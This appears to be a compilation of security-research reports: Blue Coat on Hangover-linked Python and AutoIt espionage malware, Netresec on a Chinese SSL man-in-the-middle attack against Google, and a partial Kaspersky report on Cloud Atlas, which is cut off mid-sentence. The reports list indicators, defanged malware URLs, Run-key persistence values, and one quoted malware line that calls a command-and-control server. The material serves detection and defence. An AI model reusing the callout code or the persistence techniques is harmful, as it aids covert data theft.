48937e732d0d11e99c68895ac8578374 82418d99339bf9ff69875a649238ac18 f9dcb0638c8c2f979233b29348d18447 72372ffac0ee73dc8b6d237878e119c1 c229a7d86a9e9a970d18c33e560f3dfc ef618bd99411f11d0aa5b67d1173ccdf 383c07e3957fd39c3d0557c6df615a1a 105586891deb04ac08d57083bf218f93 1deea42a0543ce1beeeeeef1ffb801e5 7d1e1ec1b1b0a82bd0029e8391b0b530 1f751bf5039f771006b41bdc24bfadd3 d10734a4b3682a773e5b6739b86d9b88 632bba51133284f9efe91ce126eda12d a22e08e643ef76648bec55ced182d2fe 04565d1a290d61474510dd728f9b5aae 3c1bc5680bf93094c3ffa913c12e528b 6a03d22a958d3d774ac5437e04361552 0217eb80de0e649f199a657aebba73aa 79cec7edf058af6e6455db5b06ccbc6e f8453697521766d2423469b53a233ca7 8a449de07bd54912d85e7da22474d3a9 3f9dc60445eceb4d5420bb09b9e03fbf 8f459ae20291f2721244465aa6a6f7b9 4b323d4320efa67315a76be2d77a0c83 035848a0e6ad6ee65a25be3483af86f2 90d8e7a92284789d2e15ded22d34ccc3 edb324467f6d36c7f49def27af5953a5 c1e7368eda5aa7b09e6812569ebd4242 ec99e82ad8dbf1532b0a5b32c592efdf 391b9434379308e242749761f9edda8e 6bf76626037d187f47a54e97c173bc66 895f7469e50e9bb83cbb36614782a33e 1feacbef9d6e9f763590370c53cd6a30 82234c358d921a97d3d3a9e27e1c9825 558d0a7232c75e29eaa4c1df8a55f56b e565255a113b1af8df5adec568a161f3 1821351d67a3dce1045be09e88461fe9 b1fe41542ff2fcb3aa05ff3c3c6d7d13 53c5520febbe89c25977d9f45137a114 4513e3e8b5506df268881b132ffdcde1 19ce80e963a5bcb4057ef4f1dd1d4a89 9b29903a67dfd6fec33f50e34874b68b b637f8b5f39170e7e5ada940141ddb58 c09683d23d8a900a848c04bab66310f1 6d4c2cd95a2b27777539beee307625a2 e32d5c22e90cf96296870798f9ef3d15 64c3ecfd104c0d5b478244fe670809cc b69f09eee3da15e1f8d8e8f76d3a892a 294f9e8686a6ab92fb654060c4412edf 6135bd02103fd3bab05c2d2edf87e80a b973daa1510b6d8e4adea3fb7af05870 8dce09a2b2b25fcf2400cffb044e56b8 6008f85d63f690bb1bfc678e4dc05f97 1bf8434e6f6e201f10849f1a4a9a12a4 6cac1a8ba79f327d0ad3f4cc5a839aa1 462860910526904ef8334ee17acbbbe5 eeec7c4a99fdfb0ef99be9007f069ba8 6bbc54fb91a1d1df51d2af379c3b1102 8b152fc5885cb4629f802543993f32a1 6d1187f554040a072982ab4e6b329d14 3bfe642e752263a1e2fe22cbb243de57 c629933d129c5290403e9fce8d713797 1c62b3d0eb64b1511e0151aa6edce484 811fcbadd31bccf4268653f9668c1540 0a89949a3a933f944d0ce4c0a0c57735 a0f594802fbeb5851ba40095f7d3dbd1 bf6ce6d90535022fb6c95ac9dafcb5a5 df84ff928709401c8ad44f322ec91392 fda6f18cf72e479570e8205b0103a0d3 39835e790f8d9421d0a6279398bb76dc fe6295c647e40f8481a16a14c1dfb222 592c5fbf99565374e9c20cade9ac38aa ad8dc222a258d11de8798702e52366aa bc21639bf4d12e9b01c0d762a3ffb15e 3122353bdd756626f2dc95ed3254f8bf e02d19f07f61d73fb6dd5f7d06e9f8d2 d2c7bf274edb2045bc5662e559a33942 ac1a265be63be7122b94c63aabcc9a66 e06c27e3a436537a9028fdafc426f58e 6cf2302e129911079a316cf73a4d010f 38b6ad30940ddfe684dad7a10aea1d82 f190cda937984779b87169f35e459c3a 698a41c92226f8e444f9ca7647c8068c bc95b3d795a0c28ea4f57eafcab8b5bb 82127dc2513694a151cbe1a296258850 d387a5e232ed08966381eb2515caa8e1 f4b9eb3ddcab6fd5d88d188bc682d21d 8e42fd3f9d5aac43d69ca740feb38f97 a43e8ddecfa8f3c603162a30406d5365 ea7dd992062d2f22166c1fca1a4981a1 7bf6dcf413fe71af2d102934686a816b cf064356b31f765e87c6109a63bdbf43 4a46e2dc16ceaba768b5ad3cdcb7e097 2134721de03a70c13f2b10cfe6018f36 7add5fd0d84713f609679840460c0464 cc9402e5ddc34b5f5302179c48429a56 9803e49d9e1c121346d5b22f3945bda8 c5f5837bdf486e5cc2621cc985e65019 2b72fda4b499903253281ebbca961775 7031f6097df04f003457c9c7ecbcda1c 6a6c2691fef091c1fc2e1c25d7c3c44c 9bd3fa59f30df5d54a2df385eba710a5 5100eb13cac2fc3dec2d00c5d1d3921c 0a2c2f5cf97c65f6473bdfc90113d81e 30b74abc22a5b75d356e3a57e2c84180 a0424e8436cbc44107119f62c8e7491b c1ba892d254edd8a580a16aea6f197e9 e70976785efcfaeed20aefab5c2eda60 397b5d66bac2eb5e950d2a4f9a5e5f2c 4e9bde9b6abf7992f92598be4b6d1781 54d266dee2139dd82b826a9988f35426 5b4faa2846e91e811829a594fecfe493 907448af4388072cdc01e69b7b97b174 ccad214045af69d06768499a0bd3d556 1395dfda817818c450327ab331d51c1b 715e9e60be5a9b32075189cb04a0247e 3835c8168d66104eed16c2cd99952045 f32c29a620d72ec0a435982d7a69f683 95e9162456d933fff9560bee3c270c4e da01ef50673f419cf06b106546d06b50 2dd4c551eacce0aaffedf4e00e0d03de 34f80f228f8509a67970f6062075e211 81ca7526881a0a41b6721048d2f20874 d642c73d0577dd087a02069d46f68dac BE3 MD5s: f0ebb6105c0981fdd15888122355398c 7cb6363699c5fd683187e24b35dd303e 4d5c00bddc8ea6bfa9604b078d686d45 f37b67705d238a7c2dfcdd7ae3c6dfaa 46649163c659cba8a7d0d4075329efa3 628ef31852e91895d601290ce44650b1 723eb7a18f4699c892bc21bba27a6a1a 8b9f4eade3a0a650af628b1b26205ba3 f6c47fcc66ed7c3022605748cb5d66c6 6c1996c00448ec3a809b86357355d8f9 faab06832712f6d877baacfe1f96fe15 2c72ef155c77b306184fa940a2de3844 2e62e8949d123722ec9998d245bc1966 b0dc4c3402e7999d733fa2b668371ade 93fa40bd637868a271002a17e6dbd93b f98abf80598fd89dada12c6db48e3051 8a7c30a7a105bd62ee71214d268865e3 2f6582797bbc34e4df47ac25e363571d 81d127dd7957e172feb88843fe2f8dc1 3e25544414030c961c196cea36ed899d Previous and Parallel Research Botnet History Illustrated by BlackEnergy 2, PH Days, Kaspersky Lab - Maria Garnaeva and Sergey Lozhkin, May 2014 BlackEnergy and Quedagh (pdf), F-Secure, September 2014 Sandworm, iSIGHT Partners, October 2014 Alert (ICS-ALERT-14-281-01A) Ongoing Sophisticated Malware Campaign Compromising ICS (Update A), ICS-CERT, October 2014 Snake In The Grass: Python-based Malware Used For Targeted Attacks bluecoat.com/security-blog/2014-06-10/snake-grass-python-based-malware-used-targeted-attacks Researchers at Blue Coat Systems have identified an intelligence-gathering campaign related to the Hangover operation detailed in 2013. The targets of this operation appear to be Pakistani and presumably represent military interests. The malware used for this is very simple, but uses a little used format. Instead of the programming languages most commonly used for malware creation, the actors have turned to using Python, a powerful scripting language. The scripts were found embedded inside regular executable files designed to run Python scripts without having to install the full Python package. The inclusion of malicious scripting code in relatively mainstream installers is probably done to avoid antivirus detections, and regular AV detection rates on these executables tend to be quite low. However, BlueCoat Malware Analysis Appliance proactively detects these malwares with a high risk score. Several indicators point towards the same attackers as were detailed in the Norman Shark (now part of Blue Coat Systems) Hangover report from last year. This campaign is not the first sign of life from these actors after we published our report there have been several smaller initiatives during the autumn of 2013. Initial malware The initial installers of this campaign were discovered due to behavior similarities with previous Hangover-related malware. These appear to have been prepared for email distribution or possibly for web download. Four such installers were identified; files with the MD5 hash of: 0392fb51816dd9583f9cb206a2cf02d9, (original name Brief DG Arty-8 30 Aug.scr ) e6d9fce2c6e766b0899ac2e1691b8097, (original name Debriefing Indian Missile Def Prg.scr) e013691e702778fa6dbc35b15555c3c2, (original name HQ Div Sp Eqs 21 Dec 2013 final.scr ) 9d299d3a074f2809985e0317b9c461eb, (original name HQ 19 div CTGY PLAN-Offn Objs.scr ) These are all self-extracting archives (WinRAR SFX RAR and SFX ZIP), which again contain lure documents and a malicious Python installer. 0392fb51816dd9583f9cb206a2cf02d9: These files are all created using the PyInstaller tool. The archive-viewer.py Python script provided with the PyInstaller package can be used to examine these installers: 1/10 Most of the objects in these packages are legitimate libraries and components required by the installer itself. The highlighted send object is where the malicious Python script resides. And, as Python is a human-readable format, this makes analysis straightforward: Python function made for testing connection to Command & Control servers. Note how worldvoicetrip[.]com can supply a new C&C server ( code4 ) in domain.html. There are two main functionalities for these scripts: Harvest system information using existing system tools like systeminfo.exe. This information is attempted uploaded to Command & Control (C&C) server. 2/10 Download and execute more malicious executables. Decoy documents The documents accompanying the malware executables seem all related to Indian military matters. The excerpt below is labeled confidential; however the text is taken from a publicly available source at armscontrol.org. (https://www.armscontrol.org/act/2013_01-02/Indian-Missile-Defense-Program-Advances) This document contains references to Artillery Firing Data Computing Devices (AFDCD s), which are given to be Casio FX-750 and Casio FX-880-P. However, these are models of handheld calculators from 30 years ago. They are not used for military purposes today. At least, I hope not. Case expansion 3/10 Case expansion is the process of mapping out connections with other cases and malwares to understand the larger threat picture. This gives information about what activities are ongoing against whom using what tools and how to mitigate This process involves multiple iterations of pivoting by a great deal of possible parameters similarities in malware, similarities in network traffic, various domain registration and hosting information, passive DNS data etc. We begin with the beginning what we can learn from the initial malware files. Command & Control hosted malware As shown previously, the C&C servers used in these malwares were: games-playbox[.]com worldvoicetrip[.]com The latter server was down by the time we noticed the malware, but games-playbox[.]com still resolved to the IP 176.56.238.177, belonging to AS198203 ASN-ROUTELABEL RouteLabel V.O.F. in the Netherlands. Internal and public databases show that this server has been hosting malware for download: hxxp://games-playbox[.]com/testing1/download/reg.exe hxxp://176.56.238.177/testing2/download/reg.exe hxxp://176.56.238.177/testing2/download/reg1.exe hxxp://176.56.238.177/testing4/download/reg.exe hxxp://176.56.238.177/testing2/download/winrm.exe hxxp://176.56.238.177/testing2/download/sppsvc.exe hxxp://games-playbox[.]com/winone1/download/stisvc.exe hxxp://games-playbox[.]com/winone1/download/sppsvc.exe Brute force testing showed that at least subfolders winone2, winone3 and winone4 contained similar content as winone1. reg.exe, reg1.exe: These are MINGW32 C++ (not Python) executables which have only one function to insert a registry key that allows other malware to be run on startup. For example, the executable reg.exe (05dc62dcd4ddc9f2a79c5d23647c25c2) creates the key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Search=C:\dir2\CscService.exe This separation of functions is likely done to avoid detection logic that triggers on software that inserts itself into such run keys. winrm.exe, stisvc.exe: 4/10 This executable is a data stealer, which enumerates folders and harvests files of format doc, xls, ppt, pps, inp, pdf, xlsx, docx, pptx. sppsvc.exe: This is a keylogger, which hooks keyboard and mouse events. In connection with these findings we found that the same Python functionality was sometimes embedded in executable files of a slightly different format namely py2exe. These files have a different internal structure than PyInstallers, but the embedded scripts can be extracted and decoded using the Python module uncompyle2. Passive DNS analysis shows that games-playbox[.]com has shared IP address with other suspicious domains: Rdata results for ANY/176.56.238.177 techto-earth[.]com. games-playbox[.]com. download-mgrwin[.]com. 176.56.238.177 176.56.238.177 176.56.238.177 Indeed, techto-earth[.]com shows up in Google with an entry on the URL checking service URLQuery[.]net. 5/10 This download link (hxxp://techto-earth[.]com/eastwing/download/sppsvc.exe) was at the point of writing live, and the downloaded executable (md5 c571b77469ad3c5ef336860605ee85c6) was verified as a PyInstaller-based malware. Brute force attempts showed that this folder also contained stisvc.exe (md5 f2a1ca02bf4a63a3d4a6c6464f5a925b) and reg.exe; these have same functionality as the identically named executables found on games-playbox[.]com. The techto-earth[.]com domain now resolved to the IP address 81.4.125.90, similarly belonging to the Dutch provider RouteLabel. The domain download-mgrwin[.]com which shared the IP 81.4.125.90 with techto-earth[.]com was also found to host similar malware: hxxp://download-mgrwin[.]com/southside/download1/stisvc.exe md5 6ec82e9eccb9bee050c9f7f2750d0c7c hxxp://download-mgrwin[.]com/southside/download1/sppsvc.exe md5 acfada8e91eda6cca2da66bbb032d924 hxxp://download-mgrwin[.]com/eastside/download/sppsvc.exe md5 6dc9eee24f8d5cba1ca3919b87507d86 Nick Agroyes Domain registration information is useful for connecting cases. Though often falsified, reuse of the same registrant information is common, thus providing a way of linking different domains. download-mgrwin[.]com was registered on the email address info@communication-principals[.]com, purportedly belonging to one Nick Agroyes: This is a faked record, but the same address was used to register other domains of which some have been documented used by malware - alertmymailsnotify[.]com, communication-principals[.]com, servicesprocessing[.]com and websourceing[.]com. communication-principals[.]com: md5: 664f32f06dd7bd8c94df6edfcf6285da This is an exploited RTF file leveraging the CVE-2012-0158 RTF vulnerability which downloads a file from hxxp://communication-principals[.]com/vargualm12/putty.exe servicesprocessing[.]com: 6/10 VirusTotal shows a number of links to malicious executables on this domain. hxxp://servicesprocessing[.]com/naspckn/plugins/wsutils.exe hxxp://servicesprocessing[.]com/naspckn/plugins/shlwapi.exe hxxp://servicesprocessing[.]com/panomasi/plugins/shlwapi.exe : md5 eeaf96b1988c7016780c0d91ce2451c8 hxxp://servicesprocessing[.]com/panomasi/plugins/wsutils.exe : md5 4a9a912a8610495029ef3df813272d8a Other registrants The file 4a9a912a8610495029ef3df813272d8a has also been hosted elsewhere, on alertmymail[.]com: hxxp://alertmymail[.]com/lotopoto07/plugins/wsutils.exe This domain is registered on the registrant sakanika@rediffmail[.]com. Other domains owned by this entity are necessaries-documentation[.]com and accountsloginmail-process[.]com which show pDNS overlap with the previously mentioned malicious domains. Passive DNS investigation and malware hosting data shows additional overlaps with the domains newsfairprocessing[.]com and manufacturing-minds[.]com. These domains were registered to the registrant tomhanks542@gmail[.]com. Malware referenced in relation to these domains is for example: md5: 6f9f2e57eb06c5385f7e9370a71aa34b. This is a MINGW C++ keylogger, hosted at: hxxp://newsfairprocessing[.]com/imopo99/plugins/rpcapd.exe hxxp://necessaries-documentation[.]com/khtergf5541/plugins/rpcapd.exe AutoIt Though many of the malwares we have examined in this campaign were based on Python, a number of similar malware files were found to be based on a different scripting language AutoIt. One such malware is known under the family name Emupry or AutoIt/Emupry. The executable file Quetta_Killings_Footage.exe (md5 387947d5891aeb2c32f231e9abadfcec) connects to the known malicious domain communication-principals[.]com. When the AutoIt script is extracted we see that important variables are base64-encoded. For clarity, these have shown inline as comments below: 7/10 Very similar AutoIt malware was found for the following C&C servers (domains in bold were documented in the original Hangover report): C&C domain 8c18852f79f14880ed9bd1d3be2fa48c ddd6b9bef4d37b43484d1a0eab4753c6 99f7cb87a4acbbd2aed2c4e860cd0f5a 04af2e8a7a1e934ab2000d701948a657 1f72e19999d56a11cd564d1f7b0652e7 2683e1d77b20e7aa75ade640ddb522d6 6d6fe7d36e1c43aab534644378d56dfb 14a11b125f32a5a5773c23021ac4c1a1 84e2d98e4b3272b953b63d2021735fd3 fcccf9cb698297bb686561e7af7dad94 f0ef59265610dedab40f8386af79f861 alertmymail[.]com alertmymail[.]com necessaries-documentation[.]com newsfairprocessing[.]com onestop-shops[.]com onestop-shops[.]com westdelsys[.]com manufacturing-minds[.]com cloudone-opsource[.]com servicesprocessing[.]com knight-quest[.]com HTTP request format Note the form of the HTTP requests used by this AutoIt malware: http://server/folder/online.php?sysname=. The Python malware we mentioned first in this article constructed identical requests: dfiles5 = urlopen("http://"+ getserver + foldername+ "/online.php?sysname="+cname+"") This request form was used in a number of Hangover-related cases as well. Given the similarities in methodology and targeting we consider it highly likely that the current attack malware and the Hangover infrastructures are related. It points towards the use of the same backend infrastructure, designed to control different types of malware. 8/10 Above: Infrastructure map. Conclusion This is an operation of far smaller scope than the original Hangover infrastructure; but as more capacity is rebuilt this might grow. We will keep an eye on what happens in this space. It is noteworthy that they have adopted the use of scripting langauages for this type of data theft; scripts are easy to maintain even by novice programmers. Indicators: Domains accountsloginmail-process[.]com alertmymail[.]com alertmymailsnotify[.]com cloudone-opsource[.]com communication-principals[.]com devilcreator[.]com download-mgrwin[.]com games-playbox[.]com knight-quest[.]com manufacturing-minds[.]com necessaries-documentation[.]com newsfairprocessing[.]com onestop-shops[.]com servicesloginmail-process[.]com servicesprocessing[.]com techto-earth[.]com websourceing[.]com westdelsys[.]com worldvoicetrip[.]com Indicators: IP addresses 9/10 176.56.238.177 213.229.64.222 37.59.175.131 46.32.235.162 81.4.125.90 Indicators: Malware MD5 04af2e8a7a1e934ab2000d701948a657 14a11b125f32a5a5773c23021ac4c1a1 1f72e19999d56a11cd564d1f7b0652e7 2683e1d77b20e7aa75ade640ddb522d6 387947d5891aeb2c32f231e9abadfcec 6d6fe7d36e1c43aab534644378d56dfb 84e2d98e4b3272b953b63d2021735fd3 8c18852f79f14880ed9bd1d3be2fa48c 99f7cb87a4acbbd2aed2c4e860cd0f5a a8bc0a09b5ee1e9ff40eac10ba0d43ed ddd6b9bef4d37b43484d1a0eab4753c6 f0ef59265610dedab40f8386af79f861 fcccf9cb698297bb686561e7af7dad94 05dc62dcd4ddc9f2a79c5d23647c25c2 349583df5921e3d9fca9d4864072f6ca 6f9f2e57eb06c5385f7e9370a71aa34b 8dbadff3529ca03b8d453a7c9aaf3c6c a24137ea1a87b89f24ecaa0b9cb5382a dedb56941cfaf1a650e38ba2b43c8e2b 0392fb51816dd9583f9cb206a2cf02d9 6ec82e9eccb9bee050c9f7f2750d0c7c 9d299d3a074f2809985e0317b9c461eb acfada8e91eda6cca2da66bbb032d924 c571b77469ad3c5ef336860605ee85c6 e013691e702778fa6dbc35b15555c3c2 e6d9fce2c6e766b0899ac2e1691b8097 f2a1ca02bf4a63a3d4a6c6464f5a925b 0739e1aea8c2928b9d1b3bcd145e0bcb 4a9a912a8610495029ef3df813272d8a eeaf96b1988c7016780c0d91ce2451c8 f5d4664a607386c342fdd3358ea38962 f68eb7db21cd8abf5f60b16ca6c6a5e7 664f32f06dd7bd8c94df6edfcf6285da 6dc9eee24f8d5cba1ca3919b87507d86 Passive DNS data used for this article were provided by Farsight Security, Inc. 10/10 Analysis of Chinese MITM on Google Thursday, 04 September 2014 23:55:00 (UTC/GMT) The Chinese are running a MITM attack on SSL encrypted traffic between Chinese universities and Google. We've performed technical analysis of the attack, on request from GreatFire.org, and can confirm that it is a real SSL MITM against www.google.com and that it is being performed from within China. We were contacted by GreatFire.org yesterday (September 3) with a request to analyze two packet captures from suspected MITM-attacks before they finalized their blog post. The conclusions from our analysis is now published as part of GreatFire.org's great blog post titled Authorities launch man-in-themiddle attack on Google In their blog post GreatFire.org write: From August 28, 2014 reports appeared on Weibo and Google Plus that users in China trying to access google.com and google.com.hk via CERNET, the country s education network, were receiving warning messages about invalid SSL certificates. The evidence, which we include later in this post, indicates that this was caused by a man-in-the-middle attack. While the authorities have been blocking access to most things Google since June 4th, they have kept their hands off of CERNET, China s nationwide education and research network. However, in the lead up to the new school year, the Chinese authorities launched a man-in-the-middle (MITM) attack against Google. Our network forensic analysis was performed by investigating the following to packet capture files: Capture Location Client Netname Capture Date Filename aba4b35cb85ed218 7a8a7656cd670a93 3bf943ea453f9afa google_fake.pcapng 5c06b9c126d79557 Peking University PKU6-CERNET2 Aug 30, 2014 google.com.pcap Chongqing University CQU6-CERNET2 Sep 1, 2014 Client and Server IP adresses The analyzed capture files contain pure IPv6 traffic (CERNET is a IPv6 network) which made the analysis a bit different then usual. We do not disclose the client IP addresses for privacy reasons, but they both seem legit; one from Peking University (netname PKU6-CERNET2) and the other from Chongqing University (CQU6-CERNET2). Both IP addresses belong to AS23910, named "China Next Generation Internet CERNET2". Peking University entrance, by galaygobi (Creative Commons Attribution 2.0) Chongqing University gate, by Brooktse (Creative Commons Attribution-Share Alike 3.0) The IP addresses received for www.google.com were in both cases also legit, so the MITM wasn't carried out through DNS spoofing. The Peking University client connected to 2607:f8b0:4007:804::1013 (GOOGLE-IPV6 in United States) and the connection from Chongqing University went to 2404:6800:4005:805::1010 (GOOGLE_IPV6_AP-20080930 in Australia). Time-To-Live (TTL) Analysis The Time-To-Live (TTL) values received in the IP packets from www.google.com were in both cases 248 or 249 (note: TTL is actually called Hop Limit in IPv6 nomenclature, but we prefer to use the well established term anyway). The highest possible TTL value is 255, this means that the received packets haven't made more than 6 or 7 router hops before ending up at the client. However, the expected number of router hops between a server on GOOGLE-IPV6 and the client at Peking University is around 14. The low number of router hops is is a clear indication of an IP MITM taking place. CapLoader with both capture files loaded, showing TTL values Here is an IPv6 traceroute from AS25795 in Los Angeles towards the IP address at Peking University (generated with ARP Networks' 4or6.com tool): #traceroute -6 2001:da8:[REDACTED] 1 2607:f2f8:1600::1 (2607:f2f8:1600::1) 1.636 ms 1.573 ms 1.557 ms 2 2001:504:13::1a (2001:504:13::1a) 40.381 ms 40.481 ms 40.565 ms 3 *** 4 2001:252:0:302::1 (2001:252:0:302::1) 148.409 ms 148.501 ms 148.595 ms 5 *** 6 2001:252:0:1::1 (2001:252:0:1::1) 148.273 ms 147.620 ms 147.596 ms 7 pku-bj-v6.cernet2.net (2001:da8:1:1b::2) 147.574 ms 147.619 ms 147.420 ms 8 2001:da8:1:50d::2 (2001:da8:1:50d::2) 148.582 ms 148.670 ms 148.979 ms 9 cernet2.net (2001:da8:ac:ffff::2) 147.963 ms 147.956 ms 147.988 ms 10 2001:da8:[REDACTED] 147.964 ms 148.035 ms 147.895 ms 11 2001:da8:[REDACTED] 147.832 ms 147.881 ms 147.836 ms 12 2001:da8:[REDACTED] 147.809 ms 147.707 ms 147.899 ms As can be seen in the traceroute above, seven hops before the client we find the 2001:252::/32 network, which is called CNGI International Gateway Network (CNGIIGN) . This network is actually part of CERNET, but on AS23911, which is the network that connects CERNET with its external peers. A reasonable assumption is therefore that the MITM is carried out on the 2001:252::/32 network, or where AS23910 (2001:da8:1::2) connects to AS23911 (2001:252:0:1::1). This means that the MITM attack is being conducted from within China. Response Time Analysis The round-trip time between the client and server can be estimated by measuring the time from when the client sends it initial TCP SYN packet to when it receives a TCP SYN+ACK from the server. The expected round-trip time for connecting from CERNET to a Google server overseas would be around 150ms or more. However, in the captures we've analyzed the TCP SYN+ACK package was received in just 8ms (Peking) and 52ms (Chongqing) respectively. Again, this is a clear indication of an IP MITM taking place, since Google cannot possibly send a response from the US to CERNET within 8ms regardless of how fast they are. The fast response times also indicate that the machine performing the MITM is located fairly close to the network at Peking University. Even though the machine performing the MITM was very quick at performing the TCP tree-way handshake we noticed that the application layer communication was terribly slow. The specification for the TLS handshake (RFC 2246) defines that a ClientHello message should be responded to with a ServerHello. Google typically send their ServerHello response almost instantly, i.e. the response is received after one round-trip time (150ms in this case). However, in the analyzed captures we noticed ServerHello response times of around 500ms. X.509 Certificate analysis We extracted the X.509 certificates from the two capture files to .cer files using NetworkMiner. We noticed that both users received identical certificates, which were both self signed for google.com . The fact that the MITM used a self signed certificate makes the attack easily detectable even for the nontechnical user, since the web browser will typically display a warning about the site not being trusted. Additionally the X.509 certificate was created for google.com rather than *.google.com . This is an obvious miss from the MITM'ers side since they were attempting to MITM traffic to www.google.com but not to google.com NetworkMiner showing list of X.509 certificates extracted from the two PCAP files Certificate SHA1 fingerprint: f6beadb9bc02e0a152d71c318739cdecfc1c085d Certificate MD5 fingerprint: 66:D5:D5:6A:E9:28:51:7C:03:53:C5:E1:33:14:A8:3B A copy of the fake certificate is available on Google drive thanks to GreatFire.org. Conclusions All evidence indicates that a MITM attack is being conducted against traffic between China s nationwide education and research network CERNET and www.google.com. It looks as if the MITM is carried out on a network belonging to AS23911, which is the outer part of CERNET that peers with all external networks. This network is located in China, so we can conclude that the MITM was being done within the country. It's difficult to say exactly how the MITM attack was carried out, but we can dismiss DNS spoofing as the used method. The evidence we've observed instead indicate that the MITM attack is performed either by performing IP hijacking or by simply reconfiguring a router to forward the HTTPS traffic to a transparent SSL proxy. An alternative to changing the router config would also be to add an in-line device that redirects the desired traffic to the SSL proxy. However, regardless of how they did it the attacker would be able to decrypt and inspect the traffic going to Google. We can also conclude that the method used to perform the MITM attack was similar to the Chinese MITM on GitHub, but not identical. Share | Short URL: http://netresec.com/?b=14955CB Posted by Erik Hjelmvik on Thursday, 04 September 2014 23:55:00 (UTC/GMT) Cloud Atlas: RedOctober APT is back in style Two years ago, we published our research into RedOctober, a complex cyber-espionage operation targeting diplomatic embassies worldwide. We named it RedOctober because we started this investigation in October 2012, an unusually hot month. After our announcement in January 2013, the RedOctober operation was promptly shut down and the network of C&Cs was dismantled. As usually happens with these big operations, considering the huge investment and number of resources behind it, they don't just "go away" forever. Normally, the group goes underground for a few months, redesigns the tools and the malware and resume operations. See: RedOctober Part 1 RedOctober Part 2 Since January 2013, we've been on the lookout for a possible RedOctober comeback. One possible hit was triggered when we observed Mevade, an unusual piece of malware that appeared late in 2013. The Mevade C&C name styles as well as some other technical similarities indicated a connection to RedOctober, but the link was weak. It wasn't until August 2014 that we observed something which made us wonder if RedOctober is back for good. Meet Cloud Atlas In August 2014, some of our users observed targeted attacks with a variation of CVE-2012-0158 and an unusual set of malware. We did a quick analysis of the malware and it immediately stood out because of certain unusual things that are not very common in the APT world. Some of the filenames used in the attacks included: FT - Ukraine Russia's new art of war.doc .doc Diplomatic Car for Sale.doc .doc Organigrama Gobierno Rusia.doc .doc .doc (25-26.09.14).doc .doc .doc .doc Car for sale.doc Af-Pak and Central Asia's security issues.doc At least one of them immediately reminded us of RedOctober, which used a very similarly named spearphish: "Diplomatic Car for Sale.doc". As we started digging into the operation, more details emerged which supported this theory. Perhaps the most unusual fact was that the Microsoft Office exploit didn't directly write a Windows PE backdoor on disk. Instead, it writes an encrypted Visual Basic Script and runs it. Cloud Atlas exploit payload - VBScript This VBScript drops a pair of files on disk - a loader and an encrypted payload. The loader appears to be different every time and internal strings indicate it is "polymorphically" generated. The payload is always encrypted with a unique key, making it impossible to decrypt unless the DLL is available. We observed several different spear-phishing documents that drop uniquely named payloads. For instance, the "qPd0aKJu.vbs" file MD5: E211C2BAD9A83A6A4247EC3959E2A730 drops the following files: DECF56296C50BD3AE10A49747573A346 - bicorporate - encrypted payload D171DB37EF28F42740644F4028BCF727 - ctfmonrn.dll - loader The VBS also adds a registry key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ setting the key "bookstore" to the value "regsvr32 %path%\ctfmonrn.dll /s", which ensures the malware runs every time at system boot. Some of the DLL names we observed include: f4e15c1c2c95c651423dbb4cbe6c8fd5 - bicorporate.dll 649ff144aea6796679f8f9a1e9f51479 - fundamentive.dll 40e70f7f5d9cb1a669f8d8f306113485 - papersaving.dll 58db8f33a9cdd321d9525d1e68c06456 - previliges.dll f5476728deb53fe2fa98e6a33577a9da - steinheimman.dll Some of the payload names include: steinheimman papersaving previliges fundamentive bicorporate miditiming damnatorily munnopsis arzner redtailed roodgoose acholias salefians wartworts frequencyuse nonmagyar shebir getgoing The payload includes an encrypted configuration block which contains information about the C&C sever: The information from the config includes a WebDAV URL which is used for connections, a username and password, two folders on the WebDAV server used to store plugins/modules for the malware and where data from the victim should be uploaded. C&C communication The Cloud Atlas implants utilize a rather unusual C&C mechanism. All the malware samples we've seen communicate via HTTPS and WebDav with the same server "cloudme.com", a cloud services provider. According to their website, CloudMe is owned and operated by CloudMe AB, a company based in Link ping, Sweden. (Important note: we do not believe that CloudMe is in any way related to the Cloud Atlas group - the attackers simply create free accounts on this provider and abuse them for command-and-control). Each malware set we have observed so far communicates with a different CloudMe account though. The attackers upload data to the account, which is downloaded by the implant, decrypted and interpreted. In turn, the malware uploads the replies back to the server via the same mechanism. Of course, it should be possible to reconfigure the malware to use any Cloud-based storage service that supports WebDAV. Here's a look at one such account from CloudMe: The data from the account: The files stored in the randomly named folder were uploaded by the malware and contain various things, such as system information, running processes and current username. The data is compressed with LZMA and encrypted with AES, however, the keys are stored in the malware body which makes it possible to decrypt the information from the C&C. We previously observed only one other group using a similar method ItaDuke that connected to accounts on the cloud provider mydrive.ch. Victim statistics: top 5 infected countries Similarities with RedOctober Just like with RedOctober, the top target of Cloud Atlas is Russia, followed closely by Kazakhstan, according to data from the Kaspersky Security Network (KSN). Actually, we see an obvious overlap of targets between the two, with subtle differences which closely account for the geopolitical changes in the region that happened during the last two years. Interestingly, some of the spear-phishing documents between Cloud Atlas and RedOctober seem to exploit the same theme and were used to target the same entity at different times. Both Cloud Atlas and RedOctober malware implants rely on a similar construct, with a loader and the final payload that is stored encrypted and compressed in an external file. There are some important differences though, especially in the encryption algorithms used RC4 in RedOctober vs AES in Cloud Atlas. The usage of the compression algorithms in Cloud Altas and RedOctober is another interesting similarity. Both malicious programs share the code for LZMA compression algorithm. In CloudAtlas it is used to compress the logs and to decompress the decrypted payload from the C&C servers, while in Red October the "scheduler" plugin uses it to decompress executable payloads from the C&C. It turns out that the implementation of the algorithm is identical in both malicious modules, however the way it is invoked is a bit different, with additional input sanity checks added to the CloudAtlas version. Another interesting similarity between the malware families is the configuration of the build system used to compile the binaries. Every binary created using the Microsoft Visual Studio toolchain has a special header that contains information about the number of input object files and version information of the compilers used to create them, the "Rich" header called so by the magic string that is used to identify it in the file. We have been able to identify several RedOctober binaries that have "Rich" headers describing exactly the same layout of VC 2010 + VC 2008 object files. Although this doesn't necessarily mean that the binaries were created on the same development computer, they were definitely compiled using the same version of the Microsoft Visual Studio up to the build number version and using similar project configuration. Number of object files, CloudAtlas loader Number of object files, Red October Office plugin Number of object files,Red October Fileputexec plugin HEX compiler version Decoded compiler version 009D766F VC 2010 (build 30319) 009B766F VC 2010 (build 30319) 00AB766F VC 2010 (build 30319) 00010000 00937809 VC 2008 (build 30729) 00AA766F VC 2010 (build 30319) 009E766F VC 2010 (build 30319) To summarize the similarities between the two: Cloud Atlas RedOctober Shellcode marker in spearphished documents PT@T PT@T Top target country Russia Russia Compression algorithm used for C&C communications LZMA LZMA C&C servers claim to be / redirect to BBC (mobile malware) Compiler version VC 2010 (build 30319) VC 2010 (build 30319) (some modules) Finally, perhaps the strongest connection comes from targeting. Based on observations 